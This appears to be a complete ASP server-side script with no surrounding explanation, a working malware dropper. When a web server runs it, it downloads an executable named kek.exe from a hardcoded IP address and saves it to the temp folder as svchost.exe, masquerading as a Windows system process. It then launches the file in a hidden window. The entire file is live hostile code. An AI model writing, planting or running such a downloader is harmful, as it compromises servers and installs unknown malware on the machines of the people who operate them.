<%
Dim objX: Set objX=Server.CreateObject("MSXML2.ServerXMLHTTP")
Dim objT: Set objT=Server.CreateObject("ADODB.Stream")
Dim objS: Set objS=Server.CreateObject("WScript.Shell")
Dim objF: Set objF=Server.CreateObject("Scripting.FileSystemObject")
Dim TEMP: Set TEMP=objF.GetSpecialFolder(2)
objX.Open "GET","http://104.248.188.76/kek.exe",False
objX.Send
Do While objX.Status=200 And objX.ReadyState=4
   With objT
       .Type=1
       .Open
       .Write objX.ResponseBody
       .SaveToFile TEMP&"\svchost.exe",2
   End With
   Exit Do
Loop
objS.Run Chr(34)&TEMP&"\svchost.exe"&Chr(34),0,False
%>